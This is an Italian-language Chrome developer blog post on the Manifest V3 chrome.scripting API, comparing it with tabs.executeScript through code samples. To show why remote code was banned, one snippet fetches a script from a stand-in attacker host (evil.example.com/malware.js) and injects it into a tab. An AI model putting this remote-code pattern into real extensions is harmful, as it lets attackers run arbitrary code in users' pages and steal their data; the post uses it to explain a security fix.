Manifest V3 introduce una serie di modifiche alla piattaforma delle estensioni di Chrome. In questo post, esploreremo le motivazioni e le modifiche introdotte da una delle modifiche più importanti: l'introduzione dell'API chrome.scripting
.
Che cos'è chrome.scripting?
Come suggerisce il nome, chrome.scripting
è un nuovo spazio dei nomi introdotto in Manifest V3 responsabile delle funzionalità di inserimento di script e stili.
Gli sviluppatori che hanno creato estensioni di Chrome in passato potrebbero conoscere i metodi Manifest V2
nell'API Tabs, come chrome.tabs.executeScript
e
chrome.tabs.insertCSS
. Questi metodi consentono alle estensioni di iniettare script e stile nelle pagine. In Manifest V3, queste funzionalità sono state spostate inchrome.scripting
e prevediamo di espandere questa API con alcune nuove funzionalità in futuro.
Perché creare una nuova API?
Con una modifica di questo tipo, una delle prime domande che tende a sorgere è: "Perché?"
Diversi fattori hanno portato il team di Chrome a decidere di introdurre un nuovo spazio dei nomi per gli script.
Innanzitutto, l'API Tabs è un po' una cassetta degli attrezzi per le funzionalità. In secondo luogo, abbiamo dovuto apportare modifiche sostanziali all'API executeScript
esistente. Terzo, sapevamo che volevamo espandere le funzionalità di scripting per le estensioni. Insieme, questi problemi hanno definito chiaramente la necessità di un nuovo spazio dei nomi per ospitare le funzionalità di scripting.
La cassetta degli attrezzi
Uno dei problemi che affligge il team di Estensioni negli ultimi anni è che l'chrome.tabs
API è sovraccaricata. Quando questa API è stata introdotta per la prima volta, la maggior parte delle funzionalità fornite era correlata al concetto generale di una scheda del browser. Anche in quel momento, però, era un po' un miscuglio di funzionalità e nel corso degli anni questa raccolta è cresciuta.
Al momento del rilascio della versione 3 di Manifest, l'API Tabs era cresciuta fino a coprire la gestione di base delle schede, la gestione delle selezioni, l'organizzazione delle finestre, i messaggi, il controllo dello zoom, la navigazione di base, la scrittura di script e alcune altre funzionalità minori. Sebbene siano tutti importanti, possono essere un po' travolgenti per gli sviluppatori quando iniziano e per il team di Chrome che gestisce la piattaforma e prende in considerazione le richieste della community di sviluppatori.
Un altro fattore che complica la situazione è che l'autorizzazione tabs
non è ben compresa. Sebbene molte altre autorizzazioni limitino l'accesso a una determinata API (ad es. storage
), questa autorizzazione è un po' insolita in quanto concede all'estensione l'accesso solo a proprietà sensibili nelle istanze di Tab (e per estensione influisce anche sull'API Windows). È comprensibile che molti sviluppatori di estensioni ritengano erroneamente di dover disporre di questa autorizzazione per accedere a metodi dell'API Tabs come chrome.tabs.create
o, in modo più preciso, chrome.tabs.executeScript
. Rimuovere le funzionalità dall'API Tabs aiuta a chiarire
parte di questa confusione.
Modifiche che provocano un errore
Durante la progettazione di Manifest V3, uno dei problemi principali che volevamo risolvere era l'uso improprio e il malware attivati dal "codice ospitato in remoto", ovvero il codice che viene eseguito, ma non è incluso nel pacchetto dell'estensione. È normale che gli autori di estensioni illecite eseguano script recuperati da server remoti per rubare i dati utente, iniettare malware ed eludere il rilevamento. Anche i buoni attori utilizzano questa funzionalità, ma alla fine abbiamo ritenuto che fosse troppo pericoloso lasciarla così com'era.
Esistono diversi modi in cui le estensioni possono eseguire codice non pacchettizzato, ma quello pertinente qui è il metodo chrome.tabs.executeScript
Manifest V2. Questo metodo consente a un'estensione di eseguire una stringa di codice arbitraria in una scheda di destinazione. Ciò significa che uno sviluppatore malintenzionato può recuperare uno script arbitrario da un server remoto ed eseguirlo in qualsiasi pagina a cui l'estensione può accedere. Sapevamo che, se volevamo risolvere il problema del codice remoto, dovevamo rimuovere questa funzionalità.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
Inoltre, volevamo risolvere altri problemi più sottili relativi al design della versione Manifest V2 e rendere l'API uno strumento più raffinato e prevedibile.
Sebbene avremmo potuto modificare la firma di questo metodo all'interno dell'API Tabs, abbiamo ritenuto che, tra queste modifiche che comportano l'interruzione del servizio e l'introduzione di nuove funzionalità (trattate nella sezione successiva), una interruzione completa sarebbe stata più facile per tutti.
Espansione delle funzionalità di scripting
Un'altra considerazione che ha contribuito alla procedura di progettazione di Manifest V3 è stata la volontà di introdurre funzionalità di scripting aggiuntive nella piattaforma di estensioni di Chrome. Nello specifico, volevamo aggiungere il supporto per gli script di contenuti dinamici ed espandere le funzionalità del metodo executeScript
.
Il supporto degli script di contenuti dinamici è una funzionalità richiesta da tempo in Chromium. Al momento,
le estensioni di Chrome Manifest V2 e V3 possono dichiarare in modo statico gli script di contenuti solo nel
file manifest.json
; la piattaforma non fornisce un modo per registrare nuovi script di contenuti, modificare
la registrazione degli script di contenuti o annullarne la registrazione in fase di esecuzione.
Sebbene sapessimo di voler affrontare questa richiesta di funzionalità in Manifest 3, nessuna delle nostre API esistenti sembrava la sede giusta. Abbiamo anche preso in considerazione l'allineamento con Firefox per la sua API Content Scripts, ma fin dall'inizio abbiamo identificato un paio di importanti svantaggi di questo approccio.
Innanzitutto, sapevamo che avremmo avuto firme incompatibili (ad es. il ritiro del supporto per la proprietà code
). In secondo luogo, la nostra API aveva un insieme diverso di vincoli di progettazione (ad es. la necessità di una registrazione per permanere oltre il ciclo di vita di un worker di servizio). Infine, questo spazio dei nomi ci limiterebbe anche alla funzionalità degli script dei contenuti, mentre stiamo pensando agli script nelle estensioni in modo più ampio.
Per quanto riguarda executeScript
, volevamo anche espandere le funzionalità di questa API oltre quelle supportate dalla versione dell'API Tabs. Nello specifico, volevamo supportare funzioni e argomenti, scegliere più facilmente come target frame specifici e contesti non "tab".
In futuro, valuteremo anche in che modo le estensioni possono interagire con le PWA installate e con altri contesti che non corrispondono concettualmente alle "schede".
Passaggi da tabs.executeScript a scripting.executeScript
Nel resto di questo post, vorrei esaminare più da vicino le similitudini e le differenze tra chrome.tabs.executeScript
e chrome.scripting.executeScript
.
Inserimento di una funzione con argomenti
Nel valutare come la piattaforma avrebbe dovuto evolversi alla luce delle limitazioni relative al codice ospitato in remoto, volevamo trovare un equilibrio tra la potenza bruta dell'esecuzione di codice arbitrario e la possibilità di consentire solo script di contenuti statici. La soluzione che abbiamo adottato è stata quella di consentire alle estensioni di iniettare una funzione come script di contenuti e di passare un array di valori come argomenti.
Vediamo un breve esempio (semplificato). Supponiamo di voler iniettare uno script che saluti l'utente per nome quando fa clic sul pulsante di azione dell'estensione (icona nella barra degli strumenti). In Manifest V2, potevamo creare dinamicamente una stringa di codice ed eseguire lo script nella pagina corrente.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
Sebbene le estensioni Manifest V3 non possano utilizzare codice non incluso nell'estensione, il nostro obiettivo era preservare parte del dinamismo consentito dai blocchi di codice arbitrari per le estensioni Manifest V2. L'approccio basato su funzioni e argomenti consente ai revisori, agli utenti e ad altre parti interessate del Chrome Web Store di valutare con maggiore precisione i rischi rappresentati da un'estensione, consentendo al contempo agli sviluppatori di modificare il comportamento di runtime di un'estensione in base alle impostazioni utente o allo stato dell'applicazione.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
Frame di targeting
Volevamo anche migliorare il modo in cui gli sviluppatori interagiscono con i frame nell'API rivista. La versione Manifest V2
di executeScript
consentiva agli sviluppatori di scegliere come target tutti i frame di una scheda o un frame specifico della scheda. Puoi utilizzare chrome.webNavigation.getAllFrames
per visualizzare un elenco di tutti i frame in una scheda.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
In Manifest 3, abbiamo sostituito la proprietà facoltativa frameId
integer nell'oggetto options con un frameId
array facoltativo di interi. In questo modo, gli sviluppatori possono scegliere come target più frame in una singola chiamata API.frameIds
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
Risultati dell'iniezione di script
Abbiamo anche migliorato il modo in cui restituiamo i risultati dell'iniezione di script in Manifest 3. Un "risultato" è fondamentalmente l'istruzione finale valutata in uno script. Pensalo come il valore restituito quando eval()
o esegui un blocco di codice nella console di Chrome DevTools, ma serializzato per trasmettere i risultati tra i processi.
In Manifest V2, executeScript
e insertCSS
restituivano un array di risultati di esecuzione semplici.
Questo è accettabile se hai un solo punto di inserimento, ma l'ordine dei risultati non è garantito quando lo inserisci in più frame, quindi non c'è modo di sapere quale risultato è associato a quale frame.
Per un esempio concreto, diamo un'occhiata agli array results
restituiti da una versione Manifest V2 e da una versione Manifest V3 della stessa estensione. Entrambe le versioni dell'estensione inietteranno lo stesso script di contenuti e confronteremo i risultati nella stessa pagina demo.
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
Quando eseguiamo la versione Manifest V2, viene restituito un array di [1, 0, 5]
. Quale risultato corrisponde al frame principale e quale all'iframe? Il valore restituito non lo dice, quindi non lo sappiamo con certezza.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
Nella versione Manifest 3, results
ora contiene un array di oggetti di risultato anziché un array solo dei risultati della valutazione e gli oggetti di risultato identificano chiaramente l'ID del frame per ogni risultato. In questo modo, per gli sviluppatori è molto più facile utilizzare il risultato e intervenire su un frame specifico.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
Conclusione
Gli aggiornamenti della versione del manifest rappresentano un'opportunità rara per ripensare e modernizzare le API di estensioni. Il nostro obiettivo con Manifest V3 è migliorare l'esperienza utente finale rendendo le estensioni più sicure e allo stesso tempo migliorare l'esperienza degli sviluppatori. Grazie all'introduzione di chrome.scripting
in Manifest V3, abbiamo potuto contribuire a semplificare l'API Tabs, a ripensare executeScript
per una piattaforma di estensioni più sicura e a gettare le basi per le nuove funzionalità di scripting che saranno disponibili entro la fine dell'anno.